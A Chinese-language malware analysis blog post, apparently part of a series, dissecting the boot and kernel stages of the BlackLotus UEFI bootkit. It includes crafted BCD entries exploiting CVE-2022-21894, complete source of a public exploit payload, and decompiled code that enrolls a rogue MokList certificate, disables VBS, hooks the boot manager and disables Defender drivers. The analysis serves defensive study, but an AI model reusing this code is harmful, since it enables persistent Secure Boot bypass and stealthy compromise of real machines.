首页 > 其他分享 >BlackLotus 分析2--boot-内核阶段

BlackLotus 分析2--boot-内核阶段

时间:2023-04-06 23:00:37浏览次数:47  
标签:BlackLotus __ EFI -- 0i64 boot fastcall int int64

BlackLotus 分析2--boot-内核阶段

[BlackLotus 分析1--安装器阶段](BlackLotus 分析1--安装器阶段 - DirWangK - 博客园 (cnblogs.com))

LegacyBIOS→MBR→“活动的主分区”→\bootmgr→\Boot\BCD→\Windows\system32\winload.exe

UEFIBIOS→EFI系统分区(FAT格式的分区)→\efi\Microsoft\boot\bootmgfw.efi→efi\Microsoft\BCD→\Windows\system32\winload.efi

目录

bootmgfw.efi

esp \EFI\Microsoft\Boot\bootmgfw.efi(official_bootmgfw_data 写入)

系统重启后,bootmgfw.efi加载bcd 通过\EFI\Microsoft\Boot\tmp (bcd_setup0)

Wack0/CVE-2022-21894: baton drop (CVE-2022-21894): Secure Boot Security Feature Bypass Vulnerability (github.com)

      // Windows Boot Manager
      // --------------------
      // identifier              {9dea862c-5cdd-4e70-acc1-f32b344d4795}
      // description             Windows Boot Manager
      // locale                  en-US
      // inherit                 {7ea2e1ac-2e61-4728-aaa3-896d9d0a9f0e}
      // bootdebug               No
      // displayorder            {527f84fc-036e-11ec-abb0-005056c00008}
      // timeout                 30

      // Windows Boot Loader
      // -------------------
      // identifier              {527f84fc-036e-11ec-abb0-005056c00008}
      // device                  boot
      // path                    \system32\bootmgr.efi
      // description             RIP the woo
      // locale                  en-US
      // inherit                 {6efb52bf-1766-41db-a6b3-0ee5eff72bd7}
      // avoidlowmemory          0x10000000
      // bootdebug               No
      // isolatedcontext         Yes
      // custom:22000023         \system32\bcd
      // ems                     Yes

引导esp \system32\bootmgr.efi(official_bootmgr_data写入)

启动esp \system32\BCD(bcd_exp)

    // Windows Boot Manager
    // --------------------
    // identifier              {9dea862c-5cdd-4e70-acc1-f32b344d4795}
    // description             Windows Boot Manager
    // locale                  en-US
    // inherit                 {7ea2e1ac-2e61-4728-aaa3-896d9d0a9f0e}
    // bootdebug               Yes
    // displayorder            {57e1b615-0355-11ec-abb0-005056c00008}
    // timeout                 30

    // Windows Boot Loader
    // -------------------
    // identifier              {57e1b615-0355-11ec-abb0-005056c00008}
    // device                  boot
    // path                    \system32\hvloader.efi
    // description             Hoy la disco se flota
    // locale                  en-US
    // inherit                 {6efb52bf-1766-41db-a6b3-0ee5eff72bd7}
    // truncatememory          0x10000000
    // avoidlowmemory          0x1000
    // nointegritychecks       Yes
    // testsigning             Yes
    // isolatedcontext         Yes
    // osdevice                boot
    // systemroot              \
    // ems                     Yes

hvloader

使用esp \system32\hvloader.efi 进行引导

利用esp \system32\mcupdate_AuthenticAMD.dll或esp \system32\mcupdate_GenuineIntel.dll

mcupdate_xx.dll

hvloader 通过BtLoadUpdateDll-->BtpLayoutImage 加载

NTSTATUS __stdcall __noreturn DriverEntry(_DRIVER_OBJECT *DriverObject, char **argv)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  //   UpdateLockPagableCodeSection = argv[1];
  //   UpdateLockPagableDataSection = argv[2];
  //   UpdateLockPagableSectionByHandle = argv[3];
  //   UpdateUnlockPagableImageSection = argv[4];
  ptr = argv[3];
  MokInstallEfiAppNtHeader = (EFI_IMAGE_NT_HEADERS64 *)((char *)&gMokInstallEfiApp_180003000 + ntheader_18000303C);
  ImageBuffer = 0i64;
  HvloaderImageBase = (__int64)(ptr + 0xAE48);
  if ( HvloaderImageBase )
  {
    while ( *(_BYTE *)HvloaderImageBase != 0x4D
         || *(_BYTE *)(HvloaderImageBase + 1) != 0x5A
         || *(_BYTE *)(HvloaderImageBase + 2) != 0x90
         || *(_BYTE *)(HvloaderImageBase + 4) != 3 )
    {
      if ( !--HvloaderImageBase )
        goto LABEL_23;
    }

    // DWORD CheckSum  967518d->EC35Eh 148h->f0h+58h   4h
    if ( *(_DWORD *)(*(int *)(HvloaderImageBase + 0x3C) + HvloaderImageBase + 0x58) == 0xEC35E )
    {
      EfiImageHandle = *(_QWORD *)(HvloaderImageBase + 0x113670);// EfiImageHandle_ptr
      BlpArchSwitchContext = HvloaderImageBase + 0xC550;// BlpArchSwitchContext
      if ( EfiImageHandle )
      {
        EfiST = *(_QWORD *)(HvloaderImageBase + 0x1136C8);// EfiST
        if ( EfiST )
        {
          // EFI_STATUS EFIAPI BlImgAllocateImageBuffer(VOID **imageBuffer, UINTN imageSize, UINT32 memoryType, UINT32 attributes, VOID *unused, UINT32 flags);
          if ( ((int (__fastcall *)(__int64 *, _QWORD, __int64, __int64, _DWORD, char))(HvloaderImageBase + 0x3CC0C))(// BlImgAllocateImageBuffer
                 &ImageBuffer,
                 MokInstallEfiAppNtHeader->OptionalHeader.SizeOfImage,
                 0xE0000012i64,
                 0x424000i64,
                 0,
                 1) >= 0 )
          {
            ImageBuffer1 = ImageBuffer;
            if ( ImageBuffer )
            {
              // copy NtHeader
              for ( i = 0i64; i < MokInstallEfiAppNtHeader->OptionalHeader.SizeOfHeaders; ImageBuffer1 = ImageBuffer )
              {
                *(_BYTE *)(i + ImageBuffer1) = *((_BYTE *)&gMokInstallEfiApp_180003000 + i);
                ++i;
              }

              index = 0;
              // copy section
              for ( offset = (__int64)MokInstallEfiAppNtHeader
                           + MokInstallEfiAppNtHeader->FileHeader.SizeOfOptionalHeader;
                    index < MokInstallEfiAppNtHeader->FileHeader.NumberOfSections;
                    ++index )
              {
                // DWORD Signature -->size 4
                // struct IMAGE_FILE_HEADER FileHeader -->size 0x14

                // typedef struct _IMAGE_SECTION_HEADER {
                //   BYTE  Name[IMAGE_SIZEOF_SHORT_NAME];
                //   union {
                //     DWORD PhysicalAddress;
                //     DWORD VirtualSize;//+8
                //   } Misc;
                //   DWORD VirtualAddress;
                //   DWORD SizeOfRawData;
                //   DWORD PointerToRawData;
                //   DWORD PointerToRelocations;
                //   DWORD PointerToLinenumbers;
                //   WORD  NumberOfRelocations;
                //   WORD  NumberOfLinenumbers;
                //   DWORD Characteristics;
                // } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

                // (DWORD Signature -->size 4+IMAGE_FILE_HEADER FileHeader -->size 0x14))==18h 
                // +18h-->IMAGE_SECTION_HEADER   
                // +28h-->DWORD SizeOfRawData
                if ( *(_DWORD *)(offset + 0x28i64 * index + 0x28) )// SizeOfRawData
                {
                  v12 = ImageBuffer1 + *(unsigned int *)(offset + 0x28i64 * index + 0x24);// VirtualAddress
                  v13 = (_BYTE *)v12;
                  v14 = (char *)&gMokInstallEfiApp_180003000 + *(unsigned int *)(offset + 0x28i64 * index + 0x2C) - v12;// PointerToRawData
                  do
                  {
                    *v13 = v13[(_QWORD)v14];
                    ++v13;
                  }
                  while ( (unsigned __int64)&v13[-v12] < *(unsigned int *)(offset + 0x28i64 * index + 0x28) );

                  ImageBuffer1 = ImageBuffer;
                }
              }

              if ( MokInstallEfiAppNtHeader->OptionalHeader.AddressOfEntryPoint )
                ((void (__fastcall *)(__int64, __int64, __int64))(ImageBuffer1
                                                                + MokInstallEfiAppNtHeader->OptionalHeader.AddressOfEntryPoint))(
                  EfiImageHandle,
                  EfiST,
                  BlpArchSwitchContext);
            }
          }
        }
      }
    }
  }

  while ( 1 )
LABEL_23:
    ;
}

mcupdate_xx Payload src

CVE-2022-21894-Payload/main.c at 8d71d27096816bd5edb549165a75f66d78bebe3f · ASkyeye/CVE-2022-21894-Payload (github.com)

#include <windows.h>
#include <winternl.h>

#define EFIAPI				__cdecl

#define MEMCPY(Dest, Src, Length)	for(UINT64 i = 0; i < (Length); i++) Dest[i] = Src[i];

//Defines taken from https://github.com/btbd/umap/
#define BL_MEMORY_TYPE_APPLICATION  (0xE0000012)
#define BL_MEMORY_ATTRIBUTE_RWX     (0x424000)

typedef enum E_EXECUTION_CONTEXT
{
	ApplicationContext,
	FirmwareContext
}EXECUTION_CONTEXT, *PEXECUTION_CONTEXT;

typedef DWORD64 EFI_STATUS;

typedef void(EFIAPI *BLP_ARCH_SWITCH_CONTEXT)(EXECUTION_CONTEXT newContext);
typedef NTSTATUS(EFIAPI *BL_IMG_ALLOCATE_IMAGE_BUFFER)(PVOID *imageBuffer, INT64 imageSize, INT32 memoryType, INT32 attributes, INT32 unused, BOOLEAN flags);
typedef EFI_STATUS(EFIAPI *BOOT_ENTRY)(PVOID imageHandle, PVOID systemTable, BLP_ARCH_SWITCH_CONTEXT fpBlpArchSwitchContext);

//This buffer contains the unmapped EFI image we want to run. The code below assumes that this image has no relocations (use subsystem EFI_APPLICATION).
BYTE efiApp[] = { 0x4D, 0x5A };

//Entry point for mcupdate_*.dll
DWORD McUpdateEntry(PVOID *functionTableOut, PVOID *functionTableIn)
{
	BOOT_ENTRY entry;
	BL_IMG_ALLOCATE_IMAGE_BUFFER fpBlImgAllocateImageBuffer;
	BLP_ARCH_SWITCH_CONTEXT fpBlpArchSwitchContext;
	PIMAGE_DOS_HEADER hvDosHeader, efiDosHeader = (PIMAGE_DOS_HEADER)efiApp;
	PIMAGE_NT_HEADERS hvNtHeaders, efiNtHeaders = (PIMAGE_NT_HEADERS)(efiApp + efiDosHeader->e_lfanew);
	PIMAGE_SECTION_HEADER secHeader, section;
	PBYTE imageBuffer = NULL, src, dest;
	PVOID hvLoaderAddr, printProc, hvLoaderBase = NULL, efiSystemTable, efiImageHandle;
	DWORD64 imageSize = efiNtHeaders->OptionalHeader.SizeOfImage;

	//1. Get EFI system table, image handle and the start addresses of BlpArchSwitchContext, BlImgAllocateImageBuffer by offset from hvloader.efi  

	hvLoaderAddr = functionTableIn[3];				//This contains an address within hvloader.efi
	printProc = (PVOID)((DWORD_PTR)hvLoaderAddr + 0xAE48);		//This can be used to print text from application context

	for (PBYTE searchAddr = printProc; searchAddr; searchAddr--)	//Search for the nearest MZ header (which is guaranteed to belong to hvloader.efi).
	{
		if (searchAddr[0] == 'M' && searchAddr[1] == 'Z' && searchAddr[2] == 0x90 && searchAddr[4] == 0x03)
		{
			hvLoaderBase = searchAddr;
			break;
		}
	}

	if (!hvLoaderBase)
		goto Done;

	hvDosHeader = (PIMAGE_DOS_HEADER)hvLoaderBase;
	hvNtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)hvLoaderBase + hvDosHeader->e_lfanew);

	if (hvNtHeaders->OptionalHeader.CheckSum != 0xEC35E)		//It's better to have one check too much than too few
		goto Done;

	fpBlImgAllocateImageBuffer = (BL_IMG_ALLOCATE_IMAGE_BUFFER)((DWORD_PTR)hvLoaderBase + 0x3CC0C);
	fpBlpArchSwitchContext = (PVOID)((DWORD_PTR)hvLoaderBase + 0xC550);

	efiImageHandle = *(PVOID *)((DWORD_PTR)hvLoaderBase + 0x113670);
	efiSystemTable = *(PVOID *)((DWORD_PTR)hvLoaderBase + 0x1136C8);

	//2. Allocate 1:1 PA-VA buffer
	if (!NT_SUCCESS(fpBlImgAllocateImageBuffer(&imageBuffer, imageSize, BL_MEMORY_TYPE_APPLICATION, BL_MEMORY_ATTRIBUTE_RWX, 0, 0b00000001)))
		goto Done;

	if (!imageBuffer)
		goto Done;

	//3. Copy headers
	MEMCPY(imageBuffer, efiApp, efiNtHeaders->OptionalHeader.SizeOfHeaders);

	//4. Map sections
	secHeader = (PIMAGE_SECTION_HEADER)((UINT64)&efiNtHeaders->OptionalHeader + efiNtHeaders->FileHeader.SizeOfOptionalHeader);

	for (WORD i = 0; i < efiNtHeaders->FileHeader.NumberOfSections; i++)
	{
		section = &secHeader[i];

		if (section->SizeOfRawData)
		{
			dest = (PVOID)(imageBuffer + section->VirtualAddress);
			src = (PVOID)(efiApp + section->PointerToRawData);

			MEMCPY(dest, src, section->SizeOfRawData);
		}
	}

	//5. Call entry point
	if (efiNtHeaders->OptionalHeader.AddressOfEntryPoint)
	{
		/*
		* We use a custom entry point to pass the address of BlpArchSwitchContext to our EFI application.
		* Before it can call EFI services, it needs to call BlpArchSwitchContext with 'FirmwareContext' as argument (and revert this before returning).
		*/

		entry = (BOOT_ENTRY)(imageBuffer + efiNtHeaders->OptionalHeader.AddressOfEntryPoint);
		entry(efiImageHandle, efiSystemTable, fpBlpArchSwitchContext);							
	}

Done:

	while (1);		//We don't want to return to the calling boot application

	return 0;
}

MokInstallEfiApp

1、恢复bcd

2、设置启动管理器

esp \EFI\Microsoft\Boot\bootload.efi(Legitimate Microsoft-signed shim binary写入)作为Windows默认启动管理器-->bootmgfw

3、设置MokList 变量,

使自签名esp \EFI\Microsoft\Boot\grubx64.efi(bootkit)绕过 UEFI Secure Boot

4、清理文件

"system32\hvloader.efi";
"system32\bootmgr.efi";
"system32\BCD";
"system32\mcupdate_AuthenticAMD.dll";
"system32\mcupdate_GenuineIntel.dll";

5、重启

EFI_STATUS __fastcall ModuleEntryPoint(
        EFI_HANDLE ImageHandle,
        EFI_SYSTEM_TABLE *SystemTable,
        void *BlpArchSwitchContext)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  RuntimeServices = SystemTable->RuntimeServices;
  // https://uefi.org/specs/UEFI/2.10/32_Secure_Boot_and_Driver_Signing.html#efi-signature-data
  v4 = (__int64)&EFI_CERT_X509_GUID;
  BootServices = SystemTable->BootServices;
  v6 = 0i64;
  v8 = (__int64)Data;
  v10 = 0;
  v11 = 6i64;
  do
  {
    v12 = *(_OWORD *)(v4 + 0x10);
    *(_OWORD *)v8 = *(_OWORD *)v4;
    v13 = *(_OWORD *)(v4 + 0x20);
    *(_OWORD *)(v8 + 0x10) = v12;
    v14 = *(_OWORD *)(v4 + 0x30);
    *(_OWORD *)(v8 + 0x20) = v13;
    v15 = *(_OWORD *)(v4 + 0x40);
    *(_OWORD *)(v8 + 0x30) = v14;
    v16 = *(_OWORD *)(v4 + 0x50);
    *(_OWORD *)(v8 + 0x40) = v15;
    v17 = *(_OWORD *)(v4 + 0x60);
    *(_OWORD *)(v8 + 0x50) = v16;
    v18 = *(_OWORD *)(v4 + 0x70);
    v4 += 0x80i64;
    *(_OWORD *)(v8 + 0x60) = v17;
    v8 += 0x80i64;
    *(_OWORD *)(v8 - 0x10) = v18;
    --v11;
  }
  while ( v11 );                                // 6*8==48

  v19 = *(_WORD *)(v4 + 0x50);
  v20 = *(_OWORD *)(v4 + 0x10);
  *(_OWORD *)v8 = *(_OWORD *)v4;
  v21 = *(_OWORD *)(v4 + 0x20);
  *(_OWORD *)(v8 + 0x10) = v20;
  v22 = *(_OWORD *)(v4 + 0x30);
  *(_OWORD *)(v8 + 0x20) = v21;
  v23 = *(_OWORD *)(v4 + 0x40);
  *(_OWORD *)(v8 + 0x30) = v22;
  *(_OWORD *)(v8 + 0x40) = v23;                 // 5
  *(_WORD *)(v8 + 0x50) = v19;                  // 3byte
  *(_BYTE *)(v8 + 0x52) = *(_BYTE *)(v4 + 0x52);
  // 1-->FirmwareExecutionContext
  // other-->ApplicationExecutionContext
  ((void (__fastcall *)(__int64))BlpArchSwitchContext)(1i64);
  root = OpenVolume_180001000(ImageHandle, BootServices);
  root1 = root;
  if ( root )
  {
    if ( copy_file_18000124C(                   // 恢复bcd
           root,
           BootServices,
           (CHAR16 *)L"EFI\\Microsoft\\Boot\\BCDR",
           (CHAR16 *)L"EFI\\Microsoft\\Boot\\BCD")
      && copy_file_18000124C(
           root1,
           BootServices,
           (CHAR16 *)L"EFI\\Microsoft\\Boot\\bootload.efi",// esp \EFI\Microsoft\Boot\bootload.efi(Legitimate Microsoft-signed shim binary写入)作为Windows默认启动管理器-->bootmgfw
           (CHAR16 *)L"EFI\\Microsoft\\Boot\\bootmgfw.efi") )// shim 会加载esp \EFI\Microsoft\Boot\grubx64.efi(bootkit写入)
                                                // 进而实现bootkit的持久化
    {
      // #define EFI_VARIABLE_NON_VOLATILE                           0x00000001
      // #define EFI_VARIABLE_BOOTSERVICE_ACCESS                     0x00000002
      v6 = RuntimeServices->SetVariable((CHAR16 *)L"MokList", &VendorGuid, 3u, 0x353ui64, Data);// 设置MokList,将bootkit签名加入
      // .rdata:0000000180002210 EFI_CERT_X509_GUID dd 0A5C059A1h           ; SignatureType.Data1
      // .rdata:0000000180002210                                         ; DATA XREF: _ModuleEntryPoint+1F↑o
      // .rdata:0000000180002210                 dw 94E4h                ; SignatureType.Data2
      // .rdata:0000000180002210                 dw 4AA7h                ; SignatureType.Data3
      // .rdata:0000000180002210                 db 87h, 0B5h, 0ABh, 15h, 5Ch, 2Bh, 0F0h, 72h; SignatureType.Data4
      // .rdata:0000000180002210                 dd 353h                 ; SignatureListSize
      // .rdata:0000000180002210                 dd 0                    ; SignatureHeaderSize
      // .rdata:0000000180002210                 dd 337h                 ; SignatureSize
      // .rdata:000000018000222C ; EFI_SIGNATURE_DATA
      // .rdata:000000018000222C                 dd 605DAB50h            ; SignatureOwner.Data1 ; GRUB_EFI_SHIM_LOCK_GUID
      // .rdata:000000018000222C                 dw 0E046h               ; SignatureOwner.Data2
      // .rdata:000000018000222C                 dw 4300h                ; SignatureOwner.Data3
      // .rdata:000000018000222C                 db 0ABh, 0B6h, 3Dh, 0D8h, 10h, 0DDh, 8Bh, 23h; SignatureOwner.Data4

      // SignatureData-->
      // (openssl x509 -noout -text -in 0x18000223C.crt)

      // Certificate:
      //     Data:
      //         Version: 3 (0x2)
      //         Serial Number:
      //             57:0b:5d:22:b7:23:b4:a4:42:cc:6e:ee:bc:25:80:e8
      //         Signature Algorithm: sha1WithRSAEncryption
      //         Issuer: CN = When They Cry CA
      //         Validity
      //             Not Before: Aug 13 17:48:44 2022 GMT
      //             Not After : Aug 13 17:58:44 2032 GMT
      //         Subject: CN = When They Cry CA
      //         Subject Public Key Info:
      //             Public Key Algorithm: rsaEncryption
      //                 Public-Key: (2048 bit)
      //                 Modulus:
      //                     00:c7:bb:2e:e9:59:5f:b9:ee:42:46:65:c9:45:c6:
      //                     e7:1d:a4:a9:5b:d6:12:11:a8:95:2b:29:5c:c0:52:
      //                     c6:29:ce:62:e1:97:78:6d:04:79:58:a5:29:ec:50:
      //                     5a:f8:16:eb:dc:37:f4:24:98:a0:8e:e1:cd:b1:48:
      //                     2c:cc:e9:42:89:ef:7c:44:8a:97:e3:55:9a:58:2a:
      //                     bc:aa:cb:0e:ca:27:07:27:9d:b4:9e:3e:7f:85:2d:
      //                     2c:72:0c:16:b6:11:ae:6f:9b:e5:81:c0:d7:78:c2:
      //                     3c:87:b1:88:d7:3b:93:4c:df:15:eb:9e:de:97:d2:
      //                     13:80:25:58:69:d7:73:c5:c6:62:74:54:da:a3:8d:
      //                     7d:23:0f:da:2f:4c:c9:5b:54:49:63:e4:85:cc:4e:
      //                     71:da:32:1a:44:69:1a:7d:f5:22:ef:5a:3e:d6:ed:
      //                     17:74:4d:ee:6f:9e:a3:56:63:65:91:3e:d7:4d:70:
      //                     32:32:51:a3:f9:03:0e:6e:48:51:5d:99:60:d5:02:
      //                     4c:d8:80:de:c9:da:ce:f9:b5:5c:f5:36:74:e9:96:
      //                     9a:21:9a:67:c4:91:cc:a5:8b:49:71:0f:d7:c4:77:
      //                     eb:30:01:46:37:19:ea:04:18:47:71:80:73:eb:89:
      //                     9f:d6:9f:b0:38:2b:eb:bb:f8:78:25:90:af:74:14:
      //                     55:dd
      //                 Exponent: 65537 (0x10001)
      //         X509v3 extensions:
      //             X509v3 Key Usage: critical
      //                 Digital Signature
      //             X509v3 Extended Key Usage:
      //                 Code Signing
      //             X509v3 Subject Alternative Name:
      //                 DNS:When They Cry CA
      //             X509v3 Subject Key Identifier:
      //                 60:BC:4A:39:DC:22:08:6C:9D:12:E3:E7:B4:4A:01:AC:0C:61:79:FF
      //     Signature Algorithm: sha1WithRSAEncryption
      //     Signature Value:
      //         b7:46:56:4f:05:58:1a:5f:7f:0e:64:01:2a:ae:b6:71:94:26:
      //         3d:2d:4f:3d:0a:14:34:48:b5:86:ee:1e:99:58:a8:8e:35:c7:
      //         b6:59:32:2a:c4:5b:01:04:e2:e2:d4:ec:74:20:34:65:2e:b4:
      //         c4:02:b8:c7:2f:16:17:bf:61:96:62:a1:13:02:97:3f:61:f2:
      //         75:e2:36:cf:58:d4:06:f3:b1:34:b6:e5:3c:0f:a5:85:64:6d:
      //         90:16:76:89:c2:30:22:ab:ba:73:a1:39:78:3e:a1:ce:d9:d2:
      //         0d:2f:ef:aa:5d:b1:93:40:4f:be:dd:34:4d:68:07:bd:5d:53:
      //         1d:b2:df:d4:08:05:2e:df:b1:bc:ec:cb:75:9d:da:a9:92:e0:
      //         6d:92:df:b2:d7:1b:67:2b:a8:b8:06:9e:3a:98:a3:8b:1e:35:
      //         d2:15:60:13:a5:79:ff:55:d1:4c:e7:10:a8:31:4f:73:ca:e5:
      //         fa:10:e4:42:38:5d:29:96:5c:3d:f2:c2:2b:6a:21:4c:6d:e4:
      //         29:4a:a6:3f:64:df:c2:88:27:39:09:a4:03:fd:c4:68:21:57:
      //         b9:b3:da:61:3e:89:e1:dc:b4:49:30:f8:26:eb:15:ca:63:a6:
      //         8c:d5:aa:f2:de:3e:fc:45:dc:fd:a3:9a:5e:8b:d3:36:b3:fa:
      //         80:98:31:76
      v10 = 1;
      // 删除文件
      Delete_1800010DC(root1, BootServices, (CHAR16 *)L"system32\\hvloader.efi");
      Delete_1800010DC(root1, BootServices, (CHAR16 *)L"system32\\bootmgr.efi");
      Delete_1800010DC(root1, BootServices, (CHAR16 *)L"system32\\BCD");
      Delete_1800010DC(root1, BootServices, (CHAR16 *)L"system32\\mcupdate_AuthenticAMD.dll");
      Delete_1800010DC(root1, BootServices, (CHAR16 *)L"system32\\mcupdate_GenuineIntel.dll");
    }

    ((void (__fastcall *)(EFI_FILE_PROTOCOL *))root1->Close)(root1);
    if ( v10 )
      // EfiResetCold冷重启,将系统所有电路设为初始状态,相当于断电再重新通电
      // void (*ResetSystem)(
      //             enum EFI_RESET_TYPE ResetType,
      //                 /* 进行重启/关机的类型 */
      //             unsigned long long ResetStatus,
      //                 /* 状态码, 正常的电源操作应为EFI_SUCCESS
      //                  * 因错误导致的为实际错误码
      //                  * 这里我们设为EFI_SUCCESS(0) */
      //             unsigned long long DataSize,
      //                 /* ResetData的大小
      //                  * 这里我们由于不使用ResetData, 把它设为0 */
      //             void *ResetData
      //                 /* 当ResetType为EfiResetCold、EfiResetWarm或是EfiResetShutdown时
      //                  * 是一个空字符结尾的Unicode字符串, 后面可接可选的二进制内容
      //                  * 用来表示重启的原因等信息
      //                  * 当ResetType为EfiResetPlatformSpecific时
      //                  * 是一个以空字符结尾的Unicode字符串, 其后接一个EFI_GUID表示重启类型
      //                  * 可使用启类型的EFI_GUID是平台定义的
      //                  * 这里我们不使用, 将它设为NULL */
      //             );
      RuntimeServices->ResetSystem(EfiResetCold, EFI_SUCCESS, 0i64, 0i64);
  }

  ((void (__fastcall *)(_QWORD))BlpArchSwitchContext)(0i64);// ApplicationExecutionContext
  return v6;
}

img

grubx64-->bootkit

当前bootmgfw (实际为shim)将引导grubx64.efi,即BlackLotus的bootkit

EFI_STATUS __fastcall ModuleEntryPoint(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable)
{
  DisableVbs_180002AC0(SystemTable->RuntimeServices);// VbsPolicyDisabled
  gEfiSystemTable = SystemTable;
  gEfiBootServices = SystemTable->BootServices;
  if ( !(unsigned int)PatchBootManager_180002038(ImageHandle, SystemTable->BootServices) )
    SystemTable->RuntimeServices->ResetSystem(EfiResetShutdown, 0xFFFFFFFFFFFFFFFFui64, 0i64, 0i64);

  return 0i64;
}

DisableVbs_180002AC0

EFI_STATUS __fastcall DisableVbs_180002AC0(EFI_RUNTIME_SERVICES *a1)
{
  CHAR16 *v2; // rax
  int Data; // [rsp+40h] [rbp+8h] BYREF

  // https://github.com/Mattiwatti/EfiGuard/blob/master/EfiGuardDxe/PatchWinload.c
  // VbsPolicyDisabled
  v2 = deobfuscate_wstring((WORD *)&word_180004090, 0x12u, 1);
  Data = 1;
  return a1->SetVariable(v2, &VendorGuid, 3u, 4ui64, &Data);
}

PatchBootManager_180002038

grubx64.efi(bootkit) PatchBootManager

  • LoadImage EFI\Microsoft\Boot\winload.efi

    EFI\Microsoft\Boot\winload.efi-->原始esp \EFI\Microsoft\Boot\bootmgfw.efi

    后续会加载原始BCD,使用\Windows\system32\winload.efi引导系统

  • hook EFI\Microsoft\Boot\winload.efi 中的 ImgArch[Efi]StartBootApplication

    • 在ImgArch[Efi]StartBootApplication的hook函数中对\Windows\system32\winload.efi进行patch

    • PatchWinload BlImgAllocateImageBuffer

      分配mapper_hk(MZ魔术字改为HK的PE文件) 内存

    • PatchWinload OslArchTransferToKernel

      patch WdFilter.sys and WdBoot.sys EntryPoint-->ret

      get disk.sys EntryPoint, load mapper_hk

img

__int64 __fastcall PatchBootManager_180002038(EFI_HANDLE ParentImageHandle, EFI_BOOT_SERVICES *BS)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  error = 0;
  Handle = 0i64;
  if ( (BS->HandleProtocol(ParentImageHandle, &EFI_LOADED_IMAGE_PROTOCOL_GUID, (void **)&EfiLoadedImageProtocol) & 0x8000000000000000ui64) == 0i64 )
  {
    // EFI\Microsoft\Boot\winload.efi-->shim
    path = deobfuscate_wstring((WORD *)&ws, 0x1Fu, 1);
    filepath = (FILEPATH_DEVICE_PATH *)FileDevicePath_180002B14(EfiLoadedImageProtocol->DeviceHandle, path);
    if ( filepath )
    {
      v7 = BS->LoadImage(1u, ParentImageHandle, &filepath->Header, 0i64, 0i64, &Handle);
      if ( v7 >= 0 )
      {
        if ( (unsigned int)anti_debug_rdtsc() )
          OutputLogo_180002A08();

        if ( (BS->HandleProtocol(Handle, &EFI_LOADED_IMAGE_PROTOCOL_GUID, (void **)&LoadedImage) & 0x8000000000000000ui64) == 0i64 )
        {
          PeFileVersionInfo_BuildNumber_180002538 = GetPeFileVersionInfo_BuildNumber_180002538((__int64)LoadedImage->ImageBase);
          if ( PeFileVersionInfo_BuildNumber_180002538 >= 7600 )
          {
            HookAddress = HookedBootmgfwImgArchStartBootApplication_Eight_180001D80;
            if ( PeFileVersionInfo_BuildNumber_180002538 < 9200 )
              HookAddress = HookedBootmgfwImgArchEfiStartBootApplication_Vista_180001D48;

            // // Signature for [bootmgfw|bootmgr]!ImgArch[Efi]StartBootApplication
            // mov r8d, 0xD0000009
            Pattern_180002F68 = FindPattern_180002F68(
                                  (_BYTE *)LoadedImage->ImageBase,
                                  SigImgArchStartBootApplication_180004040,
                                  6u);
            if ( Pattern_180002F68 )
            {
              SigImgArchStartBootApplication = BacktrackToFunctionStart_180002398(
                                                 (__int64)LoadedImage->ImageBase,
                                                 (__int64)Pattern_180002F68);
              if ( SigImgArchStartBootApplication )
              {
                Tpl = BS->RaiseTPL(TPL_HIGH_LEVEL);
                HookJmp_180002A60((_BYTE *)SigImgArchStartBootApplication, (__int64)HookAddress, hookbackup_180015C78);
                BS->RestoreTPL(Tpl);
              }
            }
          }
        }
      }

      BS->FreePool(filepath);
      if ( v7 >= 0 )
      {
        if ( (BS->StartImage(Handle, 0i64, 0i64) & 0x8000000000000000ui64) != 0i64 )
          BS->UnloadImage(Handle);
        else
          return 1;
      }
    }
  }

  return error;
}

FileDevicePath_180002B14

void *__fastcall FileDevicePath_180002B14(EFI_HANDLE Handle, WORD *path)
{
  void *v3; // rdi
  unsigned int pathnullend_size; // esi
  FILEPATH_DEVICE_PATH *FileDevicePath; // [rsp+50h] [rbp+30h] BYREF
  EFI_DEVICE_PATH_PROTOCOL *EfiDevicePathProtocol; // [rsp+58h] [rbp+38h] BYREF

  v3 = 0i64;
  FileDevicePath = 0i64;
  // EFI\Microsoft\Boot\winload.efi
  pathnullend_size = 2 * wcslen_18000297C(path) + 2;
  if ( (gEfiBootServices->HandleProtocol(Handle, &EFI_DEVICE_PATH_PROTOCOL_GUID, (void **)&EfiDevicePathProtocol) & 0x8000000000000000ui64) == 0i64
    && (gEfiBootServices->AllocatePool(EfiLoaderData, pathnullend_size + 8, (void **)&FileDevicePath) & 0x8000000000000000ui64) == 0i64 )
  {
    memset_180001000(FileDevicePath, 0, pathnullend_size + 8);
    FileDevicePath->Header.Type = 4;            // #define MEDIA_DEVICE_PATH 0x04
    FileDevicePath->Header.SubType = 4;         // ///
                                                // /// File Path Media Device Path SubType
                                                // ///
                                                // #define MEDIA_FILEPATH_DP  0x04
    *(_WORD *)FileDevicePath->Header.Length = pathnullend_size + 4;
    strcpy_180001024(FileDevicePath->PathName, (__int64)path, pathnullend_size);
    // ///
    // /// File Path Media Device Path SubType
    // ///
    // #define MEDIA_FILEPATH_DP  0x04
    // typedef struct {
    //   EFI_DEVICE_PATH_PROTOCOL    Header;
    //   ///
    //   /// A NULL-terminated Path string including directory and file names.
    //   ///
    //   CHAR16                      PathName[1];
    // } FILEPATH_DEVICE_PATH;

    // EFI_DEVICE_PATH_PROTOCOL endPath = {0x7F, 0xFF, 0x0004};
    *(EFI_DEVICE_PATH_PROTOCOL *)((char *)&FileDevicePath->Header + *(unsigned __int16 *)FileDevicePath->Header.Length) = (EFI_DEVICE_PATH_PROTOCOL)0x4FF7F;// unknow
    v3 = ConvertTextToDevicePath_180002C28(EfiDevicePathProtocol, FileDevicePath);
  }

  if ( FileDevicePath )
    gEfiBootServices->FreePool(FileDevicePath);

  return v3;
}
//????
void *__fastcall ConvertTextToDevicePath_180002C28(EFI_DEVICE_PATH_PROTOCOL *a1, FILEPATH_DEVICE_PATH *a2)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v14 = a1;
  Buffer = 0i64;
  v15 = (EFI_DEVICE_PATH_PROTOCOL)0x4017F;
